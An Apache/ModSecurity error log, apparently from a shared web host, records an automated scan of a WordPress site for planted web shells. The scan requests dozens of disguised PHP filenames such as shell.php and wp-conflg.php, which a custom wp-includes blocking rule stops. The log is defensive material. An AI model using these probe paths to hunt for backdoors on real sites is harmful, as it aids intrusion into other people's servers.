[Fri Mar 13 05:09:24.384584 2026] [:error] [pid 61929:tid 62010] [client 136.144.19.67:50971] [client 136.144.19.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "abMrhDGGsow2jgUjLtxGlQAAAIY"]
[Fri Mar 13 05:09:24.964117 2026] [:error] [pid 61929:tid 62016] [client 136.144.19.225:56503] [client 136.144.19.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "abMrhDGGsow2jgUjLtxGnQAAAIw"]
[Fri Mar 13 05:09:26.045839 2026] [:error] [pid 44755:tid 44766] [client 136.144.19.69:45421] [client 136.144.19.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "abMrhvONf1H0XrBFE4NVQQAAAQk"]
[Fri Mar 13 05:09:26.593020 2026] [:error] [pid 61928:tid 61993] [client 216.24.219.143:64487] File does not exist: /usr/local/apache/htdocs/suspended-page/shell.php
[Fri Mar 13 05:09:26.861976 2026] [:error] [pid 61928:tid 61996] [client 216.24.219.143:64487] [client 216.24.219.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "abMrhgod66AHekJJZiodGQAAAFM"]
[Fri Mar 13 05:09:27.385463 2026] [:error] [pid 61929:tid 62026] [client 136.144.19.53:27705] [client 136.144.19.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID/about.php"] [unique_id "abMrhzGGsow2jgUjLtxGswAAAJY"]
[Fri Mar 13 05:09:28.601621 2026] [:error] [pid 62036:tid 62056] [client 136.144.19.228:61305] [client 136.144.19.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "abMriLce6g9kILuh_R7ejQAAAM0"]
[Fri Mar 13 05:09:29.146835 2026] [:error] [pid 61928:tid 61991] [client 136.144.19.61:24557] [client 136.144.19.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/fix.php"] [unique_id "abMriQod66AHekJJZiodLwAAAE4"]
[Fri Mar 13 05:09:33.155335 2026] [:error] [pid 44755:tid 44781] [client 136.144.19.79:50621] File does not exist: /usr/local/apache/htdocs/suspended-page/go.php
[Fri Mar 13 05:09:34.060565 2026] [:error] [pid 44755:tid 44768] [client 136.144.19.79:50621] [client 136.144.19.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "abMrjvONf1H0XrBFE4NVyAAAAQs"]
[Fri Mar 13 05:09:34.650608 2026] [:error] [pid 62036:tid 62059] [client 193.36.224.114:35297] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/install.php
[Fri Mar 13 05:09:35.933873 2026] [:error] [pid 62036:tid 62062] [client 193.36.224.114:35297] [client 193.36.224.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "abMrj7ce6g9kILuh_R7ewgAAANM"]
[Fri Mar 13 05:09:36.494504 2026] [:error] [pid 62036:tid 62044] [client 136.144.19.77:50053] [client 136.144.19.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "abMrkLce6g9kILuh_R7exwAAAME"]
[Fri Mar 13 05:09:37.058105 2026] [:error] [pid 62036:tid 62064] [client 136.144.19.219:42239] [client 136.144.19.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "abMrkbce6g9kILuh_R7ezwAAANU"]
[Fri Mar 13 05:09:37.623856 2026] [:error] [pid 44755:tid 44777] [client 136.144.19.222:45989] [client 136.144.19.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "abMrkfONf1H0XrBFE4NWBgAAARQ"]
[Fri Mar 13 05:09:38.158490 2026] [:error] [pid 44755:tid 44777] [client 136.144.19.61:55141] [client 136.144.19.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/min.php"] [unique_id "abMrkvONf1H0XrBFE4NWEgAAARQ"]
[Fri Mar 13 05:09:38.711546 2026] [:error] [pid 44755:tid 44761] [client 136.144.19.62:24293] [client 136.144.19.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "abMrkvONf1H0XrBFE4NWGgAAAQQ"]
[Fri Mar 13 05:09:39.232675 2026] [:error] [pid 61927:tid 61968] [client 136.144.19.78:54827] [client 136.144.19.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "abMrk7LkK584eBa2J7W7WwAAABY"]
[Fri Mar 13 05:09:39.739490 2026] [:error] [pid 61927:tid 61959] [client 136.144.19.60:58801] [client 136.144.19.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "abMrk7LkK584eBa2J7W7YAAAAA0"]
[Fri Mar 13 05:09:41.533253 2026] [:error] [pid 61928:tid 61977] [client 136.144.19.67:52401] [client 136.144.19.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "abMrlQod66AHekJJZiodZwAAAEA"]
[Fri Mar 13 05:09:42.585951 2026] [:error] [pid 62036:tid 62061] [client 136.144.19.227:55595] [client 136.144.19.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "abMrlrce6g9kILuh_R7fCgAAANI"]
[Fri Mar 13 05:09:44.415677 2026] [:error] [pid 62036:tid 62047] [client 136.144.19.234:44523] [client 136.144.19.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "abMrmLce6g9kILuh_R7fFQAAAMQ"]
[Fri Mar 13 05:09:45.772837 2026] [:error] [pid 62036:tid 62043] [client 136.144.19.74:35533] [client 136.144.19.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "abMrmbce6g9kILuh_R7fIQAAAMA"]
[Fri Mar 13 05:09:46.347905 2026] [:error] [pid 62036:tid 62067] [client 136.144.19.54:45027] [client 136.144.19.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/about.php"] [unique_id "abMrmrce6g9kILuh_R7fIwAAANg"]
[Fri Mar 13 05:09:46.876554 2026] [:error] [pid 44755:tid 44765] [client 136.144.19.41:47345] [client 136.144.19.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "abMrmvONf1H0XrBFE4NWcQAAAQg"]
[Fri Mar 13 05:09:47.383542 2026] [:error] [pid 44755:tid 44774] [client 216.24.219.168:56513] [client 216.24.219.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "abMrm_ONf1H0XrBFE4NWgAAAARE"]
[Fri Mar 13 05:09:48.203610 2026] [:error] [pid 61929:tid 62017] [client 216.24.219.167:26961] [client 216.24.219.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "abMrnDGGsow2jgUjLtxHbQAAAI0"]
[Fri Mar 13 05:09:48.794345 2026] [:error] [pid 44755:tid 44765] [client 136.144.19.78:41925] File does not exist: /usr/local/apache/htdocs/suspended-page/firewall.php
[Fri Mar 13 05:09:50.169492 2026] [:error] [pid 44755:tid 44759] [client 136.144.19.78:41925] File does not exist: /usr/local/apache/htdocs/suspended-page/repeater.php
[Fri Mar 13 05:09:51.019926 2026] [:error] [pid 44755:tid 44777] [client 136.144.19.78:41925] [client 136.144.19.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "abMrn_ONf1H0XrBFE4NWyAAAARQ"]
[Fri Mar 13 05:09:51.534892 2026] [:error] [pid 62036:tid 62053] [client 136.144.19.219:55795] File does not exist: /usr/local/apache/htdocs/suspended-page/update-core.php
[Fri Mar 13 05:09:51.803599 2026] [:error] [pid 62036:tid 62052] [client 136.144.19.219:55795] [client 136.144.19.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "abMrn7ce6g9kILuh_R7fZwAAAMk"]
[Fri Mar 13 05:09:53.303133 2026] [:error] [pid 61928:tid 61979] [client 136.144.19.61:30065] [client 136.144.19.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "abMroQod66AHekJJZiodmwAAAEI"]
[Fri Mar 13 05:09:54.400391 2026] [:error] [pid 62036:tid 62060] [client 216.24.219.204:44629] [client 216.24.219.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "abMrorce6g9kILuh_R7fhgAAANE"]
[Fri Mar 13 05:09:55.669602 2026] [:error] [pid 61929:tid 62028] [client 136.144.19.69:36555] File does not exist: /usr/local/apache/htdocs/suspended-page/shop.php
[Fri Mar 13 05:09:56.536737 2026] [:error] [pid 61929:tid 62019] [client 136.144.19.69:36555] [client 136.144.19.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/function.php"] [unique_id "abMrpDGGsow2jgUjLtxHpgAAAI8"]
[Fri Mar 13 05:09:57.647186 2026] [:error] [pid 44755:tid 44763] [client 136.144.19.74:48843] [client 136.144.19.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "abMrpfONf1H0XrBFE4NXaQAAAQY"]
[Fri Mar 13 05:09:59.395521 2026] [:error] [pid 62036:tid 62065] [client 136.144.19.75:30035] File does not exist: /usr/local/apache/htdocs/suspended-page/xl.php
[Fri Mar 13 05:09:59.657204 2026] [:error] [pid 62036:tid 62051] [client 136.144.19.75:30035] [client 136.144.19.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "abMrp7ce6g9kILuh_R7ftAAAAMg"]
[Fri Mar 13 05:10:00.186485 2026] [:error] [pid 62036:tid 62055] [client 136.144.19.69:40713] [client 136.144.19.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "abMrqLce6g9kILuh_R7fuwAAAMw"]
[Fri Mar 13 05:10:01.076120 2026] [:error] [pid 62036:tid 62058] [client 216.24.219.167:56529] [client 216.24.219.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "abMrqbce6g9kILuh_R7fzQAAAM8"]
[Fri Mar 13 05:10:01.668328 2026] [:error] [pid 61929:tid 62028] [client 136.144.19.52:49133] [client 136.144.19.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "abMrqTGGsow2jgUjLtxHxwAAAJg"]
[Fri Mar 13 05:10:02.250186 2026] [:error] [pid 62036:tid 62055] [client 136.144.19.79:54839] [client 136.144.19.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/db.php"] [unique_id "abMrqrce6g9kILuh_R7f1QAAAMw"]
[Fri Mar 13 05:10:03.512191 2026] [:error] [pid 44755:tid 44780] [client 216.24.219.199:39969] [client 216.24.219.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "abMrq_ONf1H0XrBFE4NXrwAAARc"]
[Fri Mar 13 05:10:04.678195 2026] [:error] [pid 61928:tid 61987] [client 136.144.19.61:44313] [client 136.144.19.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-smtp-bar.php"] [unique_id "abMrrAod66AHekJJZiod0AAAAEo"]
[Fri Mar 13 05:10:05.465253 2026] [:error] [pid 61929:tid 62005] [client 136.144.19.223:58659] [client 136.144.19.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "abMrrTGGsow2jgUjLtxH4wAAAIE"]
[Fri Mar 13 05:10:05.998126 2026] [:error] [pid 62036:tid 62049] [client 136.144.19.58:58849] File does not exist: /usr/local/apache/htdocs/suspended-page/media-new.php
[Fri Mar 13 05:10:06.273015 2026] [:error] [pid 62036:tid 62050] [client 136.144.19.58:58849] [client 136.144.19.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "abMrrrce6g9kILuh_R7f8QAAAMc"]
[Fri Mar 13 05:10:07.616432 2026] [:error] [pid 61928:tid 61982] [client 136.144.19.226:30131] [client 136.144.19.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "abMrrwod66AHekJJZiod6AAAAEU"]
[Fri Mar 13 05:10:08.138008 2026] [:error] [pid 61929:tid 62013] [client 136.144.19.229:34623] [client 136.144.19.229] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-conflg.php"] [unique_id "abMrsDGGsow2jgUjLtxH-QAAAIk"]
[Fri Mar 13 05:10:09.244683 2026] [:error] [pid 44755:tid 44778] [client 136.144.19.69:52459] [client 136.144.19.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "abMrsfONf1H0XrBFE4NX6QAAARU"]
[Fri Mar 13 05:10:11.197715 2026] [:error] [pid 62036:tid 62059] [client 216.24.219.195:28957] [client 216.24.219.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "abMrs7ce6g9kILuh_R7gFgAAANA"]
[Fri Mar 13 05:10:12.198120 2026] [:error] [pid 62036:tid 62056] [client 216.24.219.211:28099] [client 216.24.219.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "abMrtLce6g9kILuh_R7gIQAAAM0"]
[Fri Mar 13 05:10:13.010537 2026] [:error] [pid 61929:tid 62005] [client 136.144.19.234:27541] [client 136.144.19.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "abMrtTGGsow2jgUjLtxIEgAAAIE"]
[Fri Mar 13 05:10:13.544726 2026] [:error] [pid 44755:tid 44781] [client 216.24.219.213:62941] [client 216.24.219.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID/shell.php"] [unique_id "abMrtfONf1H0XrBFE4NYNgAAARg"]
[Fri Mar 13 05:10:14.064058 2026] [:error] [pid 62036:tid 62052] [client 136.144.19.76:64063] [client 136.144.19.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "abMrtrce6g9kILuh_R7gJgAAAMk"]
[Fri Mar 13 05:10:14.924136 2026] [:error] [pid 44755:tid 44760] [client 136.144.19.69:47757] [client 136.144.19.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID/db.php"] [unique_id "abMrtvONf1H0XrBFE4NYTwAAAQM"]
[Fri Mar 13 05:10:15.449015 2026] [:error] [pid 61928:tid 61990] [client 136.144.19.226:50713] [client 136.144.19.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/simi.php"] [unique_id "abMrtwod66AHekJJZioeBQAAAE0"]
